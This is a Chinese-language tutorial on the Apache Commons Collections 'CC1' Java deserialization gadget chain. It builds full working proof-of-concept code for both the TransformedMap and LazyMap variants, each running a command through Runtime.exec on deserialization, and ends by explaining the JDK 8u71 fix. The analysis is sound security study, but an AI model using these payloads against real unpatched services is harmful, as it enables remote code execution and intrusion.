一.简介 CC1全称Commons-Collections1,是Apache Commons Collections库的第一个反序列化利用链,后续还有CC2~CC7等多个变种
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
简单来说,Common-Collections这个项目开发出来是为了给JAVA标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
二.环境搭建
JDK<8u71,这里使用的是JDK8u65 ,java安装和环境配置不过多赘述,下载成功后终端查看版本即可
CommonsCollections <= 3.2.1
先在IDEA中新建一个项目,然后使用JDK8u65的版本,maven项目模板选择webapp
在项目结构->模块中修改语言级别为8
在pom.xml中添加CC1链的依赖(注意写到dependencies中)
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
然后在右上角点击同步Maven更改的按钮,如图
还需要修改sun包,因为源码中很多文件都是.class文件,都是反编译之后的文件,所以为了方便分析需要使用.java文件
访问openJDK 8u65 ,下载zip
解压之后先不管,去jdk8u65的下载目录下找到src.zip并解压,再将openJDK解压文件中的src/share/classes/sun复制到JDK下载目录的src下,如图
复制成功后在IDEA->File->项目结构->SDK->源路径中加入src文件夹
环境配置就完成了
三.利用链分析 首先明确下反序列化的思路,我们需要从出口的命令执行方法通过链子引导到入口类的readObject方法
CC1链中出口是Transformer接口中的transform方法,即org.apache.commons.collections.Transformer,找到这个接口,快捷键ctrl+alt+B查看实现接口的类
进入InvokerTransformer,在119行找到重写的transform方法
public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); …… }
可以看到这里通过获取一个对象并利用反射来获取并调用其原型类,因此可以通过InvokerTransformer类的transform方法中invoke调用Runtime类gerRuntime对象的exec来rce
在src/main/java下新建一个test类
import org.apache.commons.collections.functors.InvokerTransformer;public class test { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(runtime); } }
运行代码可以看到成功弹出了计算器,然后现在就需要一步一步找到入口类
右键 –>find usages(查找用法),如果find usages这里有问题的话,可以先Ctrl+Alt+Shift+F7,将作用域设置为所有位置
可以看到这里有17个结果,接下来就逐一排查,目的是找到其他调用transfrom的类
这里就直接看我们需要的TransformedMap类下的checkSetValue方法
看到是protected类型,由于只能被内部类访问,权限不够,所以看能否通过对valueTransformer进行赋值来利用,接着查找valueTransformer
发现在构造方法中能够对valueTransformer进行利用,但由于还是protected类型,接着查找使用了构造方法的地方
可以看到这里不仅变成了public类型,并且还返回了一个TransformedMap对象,那么现在就能够对valueTransformer的值进行控制,整个类中需要方法如下
public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
那么现在目标就是控制valueTransformer的值,看如何赋值为InvokerTransformer,触发InvokerTransformer::transform()
尝试构造poc如下
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = TransformedMap.decorate(hashMap, null , invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(decorateMap, runtime); } }
成功弹出计算器,链子为
TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()
但是decorate方法不能找到上一步了,所以回到checkSetValue继续寻找链子
查找用法可以看到在MapEntry中的setValue方法调用了checkSetValue方法,这里的MapEntry是TransformedMap的抽象父类AbstractInputCheckedMapDecorator的一个内部类,类中方法如下
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { …… static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } } }
这里的setValue方法用来更新当前键值对的值,所以在被修饰过的map遍历时一般都会进入MapEntry类触发setValue方法。并且MapEntry的父类AbstractMapEntryDecorator引入了Map.Entry接口,相当于是对setValue方法的重写
poc如下
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); } } }
成功弹出计算器,调用链为
MapEntry::setValue()->TransformedMap::checkSetValue()->InvokerTransformer::transform()
注意这里的循环语句for(Map.Entry entry:decorateMap.entrySet())中的decorateMap.entrySet(),打断点调试可以发现,遍历时由于TransformedMap类中并没有entrySet方法,所以先进入其父类AbstractInputCheckedMapDecorator实现这个方法
而这里的parent可以从断点得知是TransformedMap类
再向下依次步入可以得到这里返回的entry值是一个AbstractInputCheckedMapDecorator.MapEntry
所以就能调用重写的setValue方法了
AnnotationInvocationHandler#readObject()接着查找setValue的用法,在sun.reflect.annotation.AnnotationInvocationHandler找到了最后的readObject()
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
并且AnnotationInvocationHandler类是可序列化的
那就先直接看构造方法(为了构造这个类)
AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
可以看到这里第一个参数为Class,需要继承了Annotation,Annotation在java里是注解,所以传入Override.class。第二个参数为Map参数,因此可以将构造好的Map类型参数payload直接传入,但是这个方法并不是public,在java中,没写public的话作用域就是default,我们就需要通过反射的方式来获取这个类及其构造函数,然后实例化它。可以写一个粗糙的poc如下
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
但是这样并不能弹出计算器,问题如下
Runtime类无法序列化
setValue的调用需要条件
setValue的参数好像不可控
那么下面来逐个分析
四.问题与解决 1.Runtime类无法序列化 由于Runtime类没有继承序列化接口java.io.Serializable,所以不能反序列化
但是Runtime.class是可以序列化的,Class类继承了序列化接口,所有.class文件都可以序列化
先写一个普通反射
import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class problem1 { public static void main (String[] args) throws Exception { Class c = Runtime.class; Method getRuntime = c.getMethod("getRuntime" , null ); Runtime runtime = (Runtime) getRuntime.invoke(null , null ); Method exec = c.getMethod("exec" , String.class); exec.invoke(runtime, "calc" ); } }
这里可以用InvokerTransformer类的transform来反射
import org.apache.commons.collections.functors.InvokerTransformer;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class problem1 { public static void main (String[] args) throws Exception { Class c = Runtime.class; Object getRuntimeMethod = new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(c); Runtime runtime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod); Object transform = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime); } }
并且可以看到,最后进行反射的时候,最后三排代码有共同点
因此这里使用自带的ChainedTransformer这个类来简化代码量(在最初的transform按快捷键ctrl+h可以看到继承关系,可以找到ChainedTransformer)
ChainedTransformer类中的transform方法会递归调用了前一个方法的结果,作为后一个方法的参数
反射链子就可以写成如下
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class problem1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); } }
那么结合之前的链子就可以变成
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
但是这只是解决了第一个问题,仍然不能成功弹出计算器
2.setValue的调用需要条件 在调用setValue之前,有两个if语句,需要这两个if语句都成立才能调用setValue方法
在第一个if下个断点然后调试查看,发现直接跳过了第一个if,这是由于Override这个注解的值为空,所以我们需要另外找一个有值的注解
可以找到Target这个注解中有值,那就将Override.class修改为Target.class
注意到代码
String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) {}
而这里的memberValue是我们之前传入的值
而Map是这个Target注解中的value->ElementType,所以需要修改传入的键名和这里的Map中相对应,即初值设置为map.put("value","value");
修改后重新调试可以看到memberType被成功赋值,并且成功进入第二个if语句
目前的poc为
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
3.setValue的参数好像不可控 在进行调用setValue时,参数为一个新的类,这个可以调试看到
在valueTransformer.transform(value);中,我们希望的这个value能够变成Runtime.class,但是现在是AnnotationTypeMismatchExceptionProxy这个类,所以我们需要找到一个方法来实现不改变value的值
这里找到的是ConstantTransformer中重写的transform()方法
跟进之后可以看到是将传入值原样输出,所以我们借用这个方法来获得Runtime.class
那么可以直接在数组中添加
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) };
效果就是在最后实现valueTransformer.transform(value);时,不管这里输入的value是什么,都无视这个value,通通返回Runtime.class,最后实现获取Runtime.class->获取getRuntime方法->获取实例->获取exec方法实现命令执行
五.完整poc import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
可以看到成功执行calc了,那么这个CC1链就完成了!
六.链子总结 //利用链 InvokerTransformer#transform() TransformedMap#checkSetValue() AbstractInputCheckedMapDecorator#setValue() AnnotationInvocationHandler#readObject() //辅助链 ChainedTransformer //将三个Transformer组合成链式转换器 ConstantTransformer //使setValue的Value值为Runtime.class开启攻击 HashMap //遍历数组时调用到setValue
七.LazyMap版CC1攻击链 大概思路和之前的TransformMap版链是一样的,只是在InvokeTransformer下的transform方法,进行查找用法操作时,选择了LazyMap类
可以看到这里的get方法中调用了transform方法,并且是public方法,但是这个类的构造方法是protected,这时又要借用这个类的decorate方法来新建实例
先写一个poc尝试一下
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class test2 { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get" , Object.class); lazyGetMethod.setAccessible(true ); lazyGetMethod.invoke(decorateMap, runtime); } }
能够正常实现calc,那么就继续查找get的用法
找到sun.reflect.annotation.AnnotationInvocationHandler中的invoke方法,并且这个类中还有readObject()方法,可以作为入口类
public Object invoke (Object proxy, Method method, Object[] args) { …… Object result = memberValues.get(member); …… }
可以看到这里的invoke方法触发get方法的是memberValues,而这个memberValues我们可以控制。因此现在只需要动态代理这个类,然后随便调用其中一个方法,就会触发invoke()
当动态代理某个类后,通过代理调用其中任意方法,就会触发这个类中的invoke()方法
来分析一下invoke()
public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
需要注意的是这里要求使用无参方法,正好看到readObject中有memberValues调用了entrySet,entrySet是一个无参方法
那么现在只要让反序列化对象为动态代理,那么在反序列化时就会触发entrySet()这个无参方法,进而触发invoke()方法,那么编写poc如下
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Constructor;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class test2 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap); Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, invocationHandler); Object o = constructorhandler.newInstance(Override.class,proxyedMap); serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
顺利弹出计算器
调用链总结
//利用链 InvokerTransformer#transform() LazyMap#get() AnnotationInvocationHandler#readObject()
八.修复方法 官方的修复建议是jdk8u71以上,我们来分析一下jdk8u71
同样是sun.reflect.annotation.AnnotationInvocationHandler,可以看到这里的readObject方法中没有调用setValue()方法了
对于LazyMap版链子 因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因